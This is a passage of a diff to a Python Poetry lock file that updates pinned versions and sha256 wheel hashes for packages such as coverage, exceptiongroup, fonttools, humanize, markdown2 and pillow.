"coverage-7.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d4b3cd1ca7cd73d229487fa5caca9e4bc1f0bca96526b922d61053ea751fe791"}, + {file = "coverage-7.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7e128f85c0b419907d1f38e616c4f1e9f1d1b37a7949f44df9a73d5da5cd53c"}, + {file = "coverage-7.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a94925102c89247530ae1dab7dc02c690942566f22e189cbd53579b0693c0783"}, + {file = "coverage-7.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dcd070b5b585b50e6617e8972f3fbbee786afca71b1936ac06257f7e178f00f6"}, + {file = "coverage-7.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d50a252b23b9b4dfeefc1f663c568a221092cbaded20a05a11665d0dbec9b8fb"}, + {file = "coverage-7.6.0-cp310-cp310-win32.whl", hash = "sha256:0e7b27d04131c46e6894f23a4ae186a6a2207209a05df5b6ad4caee6d54a222c"}, + {file = "coverage-7.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:54dece71673b3187c86226c3ca793c5f891f9fc3d8aa183f2e3653da18566169"}, + {file = "coverage-7.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c7b525ab52ce18c57ae232ba6f7010297a87ced82a2383b1afd238849c1ff933"}, + {file = "coverage-7.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bea27c4269234e06f621f3fac3925f56ff34bc14521484b8f66a580aacc2e7d"}, + {file = "coverage-7.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed8d1d1821ba5fc88d4a4f45387b65de52382fa3ef1f0115a4f7a20cdfab0e94"}, + {file = "coverage-7.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01c322ef2bbe15057bc4bf132b525b7e3f7206f071799eb8aa6ad1940bcf5fb1"}, + {file = "coverage-7.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03cafe82c1b32b770a29fd6de923625ccac3185a54a5e66606da26d105f37dac"}, + {file = "coverage-7.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0d1b923fc4a40c5832be4f35a5dab0e5ff89cddf83bb4174499e02ea089daf57"}, + {file = "coverage-7.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4b03741e70fb811d1a9a1d75355cf391f274ed85847f4b78e35459899f57af4d"}, + {file = "coverage-7.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a73d18625f6a8a1cbb11eadc1d03929f9510f4131879288e3f7922097a429f63"}, + {file = "coverage-7.6.0-cp311-cp311-win32.whl", hash = "sha256:65fa405b837060db569a61ec368b74688f429b32fa47a8929a7a2f9b47183713"}, + {file = "coverage-7.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:6379688fb4cfa921ae349c76eb1a9ab26b65f32b03d46bb0eed841fd4cb6afb1"}, + {file = "coverage-7.6.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:f7db0b6ae1f96ae41afe626095149ecd1b212b424626175a6633c2999eaad45b"}, + {file = "coverage-7.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bbdf9a72403110a3bdae77948b8011f644571311c2fb35ee15f0f10a8fc082e8"}, + {file = "coverage-7.6.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cc44bf0315268e253bf563f3560e6c004efe38f76db03a1558274a6e04bf5d5"}, + {file = "coverage-7.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:da8549d17489cd52f85a9829d0e1d91059359b3c54a26f28bec2c5d369524807"}, + {file = "coverage-7.6.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0086cd4fc71b7d485ac93ca4239c8f75732c2ae3ba83f6be1c9be59d9e2c6382"}, + {file = "coverage-7.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1fad32ee9b27350687035cb5fdf9145bc9cf0a094a9577d43e909948ebcfa27b"}, + {file = "coverage-7.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:044a0985a4f25b335882b0966625270a8d9db3d3409ddc49a4eb00b0ef5e8cee"}, + {file = "coverage-7.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:76d5f82213aa78098b9b964ea89de4617e70e0d43e97900c2778a50856dac605"}, + {file = "coverage-7.6.0-cp312-cp312-win32.whl", hash = "sha256:3c59105f8d58ce500f348c5b56163a4113a440dad6daa2294b5052a10db866da"}, + {file = "coverage-7.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:ca5d79cfdae420a1d52bf177de4bc2289c321d6c961ae321503b2ca59c17ae67"}, + {file = "coverage-7.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d39bd10f0ae453554798b125d2f39884290c480f56e8a02ba7a6ed552005243b"}, + {file = "coverage-7.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:beb08e8508e53a568811016e59f3234d29c2583f6b6e28572f0954a6b4f7e03d"}, + {file = "coverage-7.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2e16f4cd2bc4d88ba30ca2d3bbf2f21f00f382cf4e1ce3b1ddc96c634bc48ca"}, + {file = "coverage-7.6.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6616d1c9bf1e3faea78711ee42a8b972367d82ceae233ec0ac61cc7fec09fa6b"}, + {file = "coverage-7.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad4567d6c334c46046d1c4c20024de2a1c3abc626817ae21ae3da600f5779b44"}, + {file = "coverage-7.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d17c6a415d68cfe1091d3296ba5749d3d8696e42c37fca5d4860c5bf7b729f03"}, + {file = "coverage-7.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9146579352d7b5f6412735d0f203bbd8d00113a680b66565e205bc605ef81bc6"}, + {file = "coverage-7.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:cdab02a0a941af190df8782aafc591ef3ad08824f97850b015c8c6a8b3877b0b"}, + {file = "coverage-7.6.0-cp38-cp38-win32.whl", hash = "sha256:df423f351b162a702c053d5dddc0fc0ef9a9e27ea3f449781ace5f906b664428"}, + {file = "coverage-7.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:f2501d60d7497fd55e391f423f965bbe9e650e9ffc3c627d5f0ac516026000b8"}, + {file = "coverage-7.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7221f9ac9dad9492cecab6f676b3eaf9185141539d5c9689d13fd6b0d7de840c"}, + {file = "coverage-7.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ddaaa91bfc4477d2871442bbf30a125e8fe6b05da8a0015507bfbf4718228ab2"}, + {file = "coverage-7.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cbe651f3904e28f3a55d6f371203049034b4ddbce65a54527a3f189ca3b390"}, + {file = "coverage-7.6.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:831b476d79408ab6ccfadaaf199906c833f02fdb32c9ab907b1d4aa0713cfa3b"}, + {file = "coverage-7.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46c3d091059ad0b9c59d1034de74a7f36dcfa7f6d3bde782c49deb42438f2450"}, + {file = "coverage-7.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4d5fae0a22dc86259dee66f2cc6c1d3e490c4a1214d7daa2a93d07491c5c04b6"}, + {file = "coverage-7.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:07ed352205574aad067482e53dd606926afebcb5590653121063fbf4e2175166"}, + {file = "coverage-7.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:49c76cdfa13015c4560702574bad67f0e15ca5a2872c6a125f6327ead2b731dd"}, + {file = "coverage-7.6.0-cp39-cp39-win32.whl", hash = "sha256:482855914928c8175735a2a59c8dc5806cf7d8f032e4820d52e845d1f731dca2"}, + {file = "coverage-7.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:543ef9179bc55edfd895154a51792b01c017c87af0ebaae092720152e19e42ca"}, + {file = "coverage-7.6.0-pp38.pp39.pp310-none-any.whl", hash = "sha256:6fe885135c8a479d3e37a7aae61cbd3a0fb2deccb4dda3c25f92a49189f766d6"}, + {file = "coverage-7.6.0.tar.gz", hash = "sha256:289cc803fa1dc901f84701ac10c9ee873619320f2f9aff38794db4a4a0268d51"}, ] [package.dependencies] @@ -754,13 +754,13 @@ gmpy2 = ["gmpy2"] [[package]] name = "exceptiongroup" -version = "1.2.1" +version = "1.2.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" files = [ - {file = "exceptiongroup-1.2.1-py3-none-any.whl", hash = "sha256:5258b9ed329c5bbdd31a309f53cbfb0b155341807f6ff7606a1e801a891b29ad"}, - {file = "exceptiongroup-1.2.1.tar.gz", hash = "sha256:a4785e48b045528f5bfe627b6ad554ff32def154f42372786903b7abcfe1aa16"}, + {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, + {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, ] [package.extras] @@ -809,53 +809,53 @@ dotenv = ["python-dotenv"] [[package]] name = "fonttools" -version = "4.53.0" +version = "4.53.1" description = "Tools to manipulate font files" optional = false python-versions = ">=3.8" files = [ - {file = "fonttools-4.53.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:52a6e0a7a0bf611c19bc8ec8f7592bdae79c8296c70eb05917fd831354699b20"}, - {file = "fonttools-4.53.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:099634631b9dd271d4a835d2b2a9e042ccc94ecdf7e2dd9f7f34f7daf333358d"}, - {file = "fonttools-4.53.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e40013572bfb843d6794a3ce076c29ef4efd15937ab833f520117f8eccc84fd6"}, - {file = "fonttools-4.53.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:715b41c3e231f7334cbe79dfc698213dcb7211520ec7a3bc2ba20c8515e8a3b5"}, - {file = "fonttools-4.53.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74ae2441731a05b44d5988d3ac2cf784d3ee0a535dbed257cbfff4be8bb49eb9"}, - {file = "fonttools-4.53.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:95db0c6581a54b47c30860d013977b8a14febc206c8b5ff562f9fe32738a8aca"}, - {file = "fonttools-4.53.0-cp310-cp310-win32.whl", hash = "sha256:9cd7a6beec6495d1dffb1033d50a3f82dfece23e9eb3c20cd3c2444d27514068"}, - {file = "fonttools-4.53.0-cp310-cp310-win_amd64.whl", hash = "sha256:daaef7390e632283051e3cf3e16aff2b68b247e99aea916f64e578c0449c9c68"}, - {file = "fonttools-4.53.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a209d2e624ba492df4f3bfad5996d1f76f03069c6133c60cd04f9a9e715595ec"}, - {file = "fonttools-4.53.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f520d9ac5b938e6494f58a25c77564beca7d0199ecf726e1bd3d56872c59749"}, - {file = "fonttools-4.53.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eceef49f457253000e6a2d0f7bd08ff4e9fe96ec4ffce2dbcb32e34d9c1b8161"}, - {file = "fonttools-4.53.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1f3e34373aa16045484b4d9d352d4c6b5f9f77ac77a178252ccbc851e8b2ee"}, - {file = "fonttools-4.53.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:28d072169fe8275fb1a0d35e3233f6df36a7e8474e56cb790a7258ad822b6fd6"}, - {file = "fonttools-4.53.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4a2a6ba400d386e904fd05db81f73bee0008af37799a7586deaa4aef8cd5971e"}, - {file = "fonttools-4.53.0-cp311-cp311-win32.whl", hash = "sha256:bb7273789f69b565d88e97e9e1da602b4ee7ba733caf35a6c2affd4334d4f005"}, - {file = "fonttools-4.53.0-cp311-cp311-win_amd64.whl", hash = "sha256:9fe9096a60113e1d755e9e6bda15ef7e03391ee0554d22829aa506cdf946f796"}, - {file = "fonttools-4.53.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d8f191a17369bd53a5557a5ee4bab91d5330ca3aefcdf17fab9a497b0e7cff7a"}, - {file = "fonttools-4.53.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:93156dd7f90ae0a1b0e8871032a07ef3178f553f0c70c386025a808f3a63b1f4"}, - {file = "fonttools-4.53.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bff98816cb144fb7b85e4b5ba3888a33b56ecef075b0e95b95bcd0a5fbf20f06"}, - {file = "fonttools-4.53.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:973d030180eca8255b1bce6ffc09ef38a05dcec0e8320cc9b7bcaa65346f341d"}, - {file = "fonttools-4.53.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c4ee5a24e281fbd8261c6ab29faa7fd9a87a12e8c0eed485b705236c65999109"}, - {file = "fonttools-4.53.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bd5bc124fae781a4422f61b98d1d7faa47985f663a64770b78f13d2c072410c2"}, - {file = "fonttools-4.53.0-cp312-cp312-win32.whl", hash = "sha256:a239afa1126b6a619130909c8404070e2b473dd2b7fc4aacacd2e763f8597fea"}, - {file = "fonttools-4.53.0-cp312-cp312-win_amd64.whl", hash = "sha256:45b4afb069039f0366a43a5d454bc54eea942bfb66b3fc3e9a2c07ef4d617380"}, - {file = "fonttools-4.53.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:93bc9e5aaa06ff928d751dc6be889ff3e7d2aa393ab873bc7f6396a99f6fbb12"}, - {file = "fonttools-4.53.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2367d47816cc9783a28645bc1dac07f8ffc93e0f015e8c9fc674a5b76a6da6e4"}, - {file = "fonttools-4.53.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:907fa0b662dd8fc1d7c661b90782ce81afb510fc4b7aa6ae7304d6c094b27bce"}, - {file = "fonttools-4.53.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e0ad3c6ea4bd6a289d958a1eb922767233f00982cf0fe42b177657c86c80a8f"}, - {file = "fonttools-4.53.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:73121a9b7ff93ada888aaee3985a88495489cc027894458cb1a736660bdfb206"}, - {file = "fonttools-4.53.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ee595d7ba9bba130b2bec555a40aafa60c26ce68ed0cf509983e0f12d88674fd"}, - {file = "fonttools-4.53.0-cp38-cp38-win32.whl", hash = "sha256:fca66d9ff2ac89b03f5aa17e0b21a97c21f3491c46b583bb131eb32c7bab33af"}, - {file = "fonttools-4.53.0-cp38-cp38-win_amd64.whl", hash = "sha256:31f0e3147375002aae30696dd1dc596636abbd22fca09d2e730ecde0baad1d6b"}, - {file = "fonttools-4.53.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d6166192dcd925c78a91d599b48960e0a46fe565391c79fe6de481ac44d20ac"}, - {file = "fonttools-4.53.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef50ec31649fbc3acf6afd261ed89d09eb909b97cc289d80476166df8438524d"}, - {file = "fonttools-4.53.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f193f060391a455920d61684a70017ef5284ccbe6023bb056e15e5ac3de11d1"}, - {file = "fonttools-4.53.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba9f09ff17f947392a855e3455a846f9855f6cf6bec33e9a427d3c1d254c712f"}, - {file = "fonttools-4.53.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0c555e039d268445172b909b1b6bdcba42ada1cf4a60e367d68702e3f87e5f64"}, - {file = "fonttools-4.53.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5a4788036201c908079e89ae3f5399b33bf45b9ea4514913f4dbbe4fac08efe0"}, - {file = "fonttools-4.53.0-cp39-cp39-win32.whl", hash = "sha256:d1a24f51a3305362b94681120c508758a88f207fa0a681c16b5a4172e9e6c7a9"}, - {file = "fonttools-4.53.0-cp39-cp39-win_amd64.whl", hash = "sha256:1e677bfb2b4bd0e5e99e0f7283e65e47a9814b0486cb64a41adf9ef110e078f2"}, - {file = "fonttools-4.53.0-py3-none-any.whl", hash = "sha256:6b4f04b1fbc01a3569d63359f2227c89ab294550de277fd09d8fca6185669fa4"}, - {file = "fonttools-4.53.0.tar.gz", hash = "sha256:c93ed66d32de1559b6fc348838c7572d5c0ac1e4a258e76763a5caddd8944002"}, + {file = "fonttools-4.53.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0679a30b59d74b6242909945429dbddb08496935b82f91ea9bf6ad240ec23397"}, + {file = "fonttools-4.53.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e8bf06b94694251861ba7fdeea15c8ec0967f84c3d4143ae9daf42bbc7717fe3"}, + {file = "fonttools-4.53.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b96cd370a61f4d083c9c0053bf634279b094308d52fdc2dd9a22d8372fdd590d"}, + {file = "fonttools-4.53.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1c7c5aa18dd3b17995898b4a9b5929d69ef6ae2af5b96d585ff4005033d82f0"}, + {file = "fonttools-4.53.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e013aae589c1c12505da64a7d8d023e584987e51e62006e1bb30d72f26522c41"}, + {file = "fonttools-4.53.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9efd176f874cb6402e607e4cc9b4a9cd584d82fc34a4b0c811970b32ba62501f"}, + {file = "fonttools-4.53.1-cp310-cp310-win32.whl", hash = "sha256:c8696544c964500aa9439efb6761947393b70b17ef4e82d73277413f291260a4"}, + {file = "fonttools-4.53.1-cp310-cp310-win_amd64.whl", hash = "sha256:8959a59de5af6d2bec27489e98ef25a397cfa1774b375d5787509c06659b3671"}, + {file = "fonttools-4.53.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:da33440b1413bad53a8674393c5d29ce64d8c1a15ef8a77c642ffd900d07bfe1"}, + {file = "fonttools-4.53.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5ff7e5e9bad94e3a70c5cd2fa27f20b9bb9385e10cddab567b85ce5d306ea923"}, + {file = "fonttools-4.53.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6e7170d675d12eac12ad1a981d90f118c06cf680b42a2d74c6c931e54b50719"}, + {file = "fonttools-4.53.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bee32ea8765e859670c4447b0817514ca79054463b6b79784b08a8df3a4d78e3"}, + {file = "fonttools-4.53.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e08f572625a1ee682115223eabebc4c6a2035a6917eac6f60350aba297ccadb"}, + {file = "fonttools-4.53.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b21952c092ffd827504de7e66b62aba26fdb5f9d1e435c52477e6486e9d128b2"}, + {file = "fonttools-4.53.1-cp311-cp311-win32.whl", hash = "sha256:9dfdae43b7996af46ff9da520998a32b105c7f098aeea06b2226b30e74fbba88"}, + {file = "fonttools-4.53.1-cp311-cp311-win_amd64.whl", hash = "sha256:d4d0096cb1ac7a77b3b41cd78c9b6bc4a400550e21dc7a92f2b5ab53ed74eb02"}, + {file = "fonttools-4.53.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d92d3c2a1b39631a6131c2fa25b5406855f97969b068e7e08413325bc0afba58"}, + {file = "fonttools-4.53.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3b3c8ebafbee8d9002bd8f1195d09ed2bd9ff134ddec37ee8f6a6375e6a4f0e8"}, + {file = "fonttools-4.53.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:32f029c095ad66c425b0ee85553d0dc326d45d7059dbc227330fc29b43e8ba60"}, + {file = "fonttools-4.53.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10f5e6c3510b79ea27bb1ebfcc67048cde9ec67afa87c7dd7efa5c700491ac7f"}, + {file = "fonttools-4.53.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f677ce218976496a587ab17140da141557beb91d2a5c1a14212c994093f2eae2"}, + {file = "fonttools-4.53.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9e6ceba2a01b448e36754983d376064730690401da1dd104ddb543519470a15f"}, + {file = "fonttools-4.53.1-cp312-cp312-win32.whl", hash = "sha256:791b31ebbc05197d7aa096bbc7bd76d591f05905d2fd908bf103af4488e60670"}, + {file = "fonttools-4.53.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ed170b5e17da0264b9f6fae86073be3db15fa1bd74061c8331022bca6d09bab"}, + {file = "fonttools-4.53.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c818c058404eb2bba05e728d38049438afd649e3c409796723dfc17cd3f08749"}, + {file = "fonttools-4.53.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:651390c3b26b0c7d1f4407cad281ee7a5a85a31a110cbac5269de72a51551ba2"}, + {file = "fonttools-4.53.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e54f1bba2f655924c1138bbc7fa91abd61f45c68bd65ab5ed985942712864bbb"}, + {file = "fonttools-4.53.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9cd19cf4fe0595ebdd1d4915882b9440c3a6d30b008f3cc7587c1da7b95be5f"}, + {file = "fonttools-4.53.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:2af40ae9cdcb204fc1d8f26b190aa16534fcd4f0df756268df674a270eab575d"}, + {file = "fonttools-4.53.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:35250099b0cfb32d799fb5d6c651220a642fe2e3c7d2560490e6f1d3f9ae9169"}, + {file = "fonttools-4.53.1-cp38-cp38-win32.whl", hash = "sha256:f08df60fbd8d289152079a65da4e66a447efc1d5d5a4d3f299cdd39e3b2e4a7d"}, + {file = "fonttools-4.53.1-cp38-cp38-win_amd64.whl", hash = "sha256:7b6b35e52ddc8fb0db562133894e6ef5b4e54e1283dff606fda3eed938c36fc8"}, + {file = "fonttools-4.53.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75a157d8d26c06e64ace9df037ee93a4938a4606a38cb7ffaf6635e60e253b7a"}, + {file = "fonttools-4.53.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4824c198f714ab5559c5be10fd1adf876712aa7989882a4ec887bf1ef3e00e31"}, + {file = "fonttools-4.53.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:becc5d7cb89c7b7afa8321b6bb3dbee0eec2b57855c90b3e9bf5fb816671fa7c"}, + {file = "fonttools-4.53.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84ec3fb43befb54be490147b4a922b5314e16372a643004f182babee9f9c3407"}, + {file = "fonttools-4.53.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:73379d3ffdeecb376640cd8ed03e9d2d0e568c9d1a4e9b16504a834ebadc2dfb"}, + {file = "fonttools-4.53.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02569e9a810f9d11f4ae82c391ebc6fb5730d95a0657d24d754ed7763fb2d122"}, + {file = "fonttools-4.53.1-cp39-cp39-win32.whl", hash = "sha256:aae7bd54187e8bf7fd69f8ab87b2885253d3575163ad4d669a262fe97f0136cb"}, + {file = "fonttools-4.53.1-cp39-cp39-win_amd64.whl", hash = "sha256:e5b708073ea3d684235648786f5f6153a48dc8762cdfe5563c57e80787c29fbb"}, + {file = "fonttools-4.53.1-py3-none-any.whl", hash = "sha256:f1f8758a2ad110bd6432203a344269f445a2907dc24ef6bccfd0ac4e14e0d71d"}, + {file = "fonttools-4.53.1.tar.gz", hash = "sha256:e128778a8e9bc11159ce5447f76766cefbd876f44bd79aff030287254e4752c4"}, ] [package.dependencies] @@ -1027,13 +1027,13 @@ socks = ["socksio (==1.*)"] [[package]] name = "humanize" -version = "4.9.0" +version = "4.10.0" description = "Python humanize utilities" optional = false python-versions = ">=3.8" files = [ - {file = "humanize-4.9.0-py3-none-any.whl", hash = "sha256:ce284a76d5b1377fd8836733b983bfb0b76f1aa1c090de2566fcf008d7f6ab16"}, - {file = "humanize-4.9.0.tar.gz", hash = "sha256:582a265c931c683a7e9b8ed9559089dea7edcf6cc95be39a3cbc2c5d5ac2bcfa"}, + {file = "humanize-4.10.0-py3-none-any.whl", hash = "sha256:39e7ccb96923e732b5c2e27aeaa3b10a8dfeeba3eb965ba7b74a3eb0e30040a6"}, + {file = "humanize-4.10.0.tar.gz", hash = "sha256:06b6eb0293e4b85e8d385397c5868926820db32b9b654b932f57fa41c23c9978"}, ] [package.extras] @@ -1245,18 +1245,19 @@ altgraph = ">=0.17" [[package]] name = "markdown2" -version = "2.4.13" +version = "2.5.0" description = "A fast and complete Python implementation of Markdown" optional = false -python-versions = ">=3.5, <4" +python-versions = "<4,>=3.8" files = [ - {file = "markdown2-2.4.13-py2.py3-none-any.whl", hash = "sha256:855bde5cbcceb9beda7c80efdf7f406c23e6079172c497fcfce22fdce998e892"}, - {file = "markdown2-2.4.13.tar.gz", hash = "sha256:18ceb56590da77f2c22382e55be48c15b3c8f0c71d6398def387275e6c347a9f"}, + {file = "markdown2-2.5.0-py2.py3-none-any.whl", hash = "sha256:300d4429b620ebc974ef512339a9e08bc080473f95135a91f33906e24e8280c1"}, + {file = "markdown2-2.5.0.tar.gz", hash = "sha256:9bff02911f8b617b61eb269c4c1a5f9b2087d7ff051604f66a61b63cab30adc2"}, ] [package.extras] -all = ["pygments (>=2.7.3)", "wavedrom"] +all = ["latex2mathml", "pygments (>=2.7.3)", "wavedrom"] code-syntax-highlighting = ["pygments (>=2.7.3)"] +latex = ["latex2mathml"] wavedrom = ["wavedrom"] [[package]] @@ -1507,84 +1508,95 @@ files = [ [[package]] name = "pillow" -version = "10.3.0" +version = "10.4.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.8" files = [ - {file = "pillow-10.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:90b9e29824800e90c84e4022dd5cc16eb2d9605ee13f05d47641eb183cd73d45"}, - {file = "pillow-10.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a2c405445c79c3f5a124573a051062300936b0281fee57637e706453e452746c"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78618cdbccaa74d3f88d0ad6cb8ac3007f1a6fa5c6f19af64b55ca170bfa1edf"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:261ddb7ca91fcf71757979534fb4c128448b5b4c55cb6152d280312062f69599"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:ce49c67f4ea0609933d01c0731b34b8695a7a748d6c8d186f95e7d085d2fe475"}, - {file = "pillow-10.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b14f16f94cbc61215115b9b1236f9c18403c15dd3c52cf629072afa9d54c1cbf"}, - {file = "pillow-10.3.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d33891be6df59d93df4d846640f0e46f1a807339f09e79a8040bc887bdcd7ed3"}, - {file = 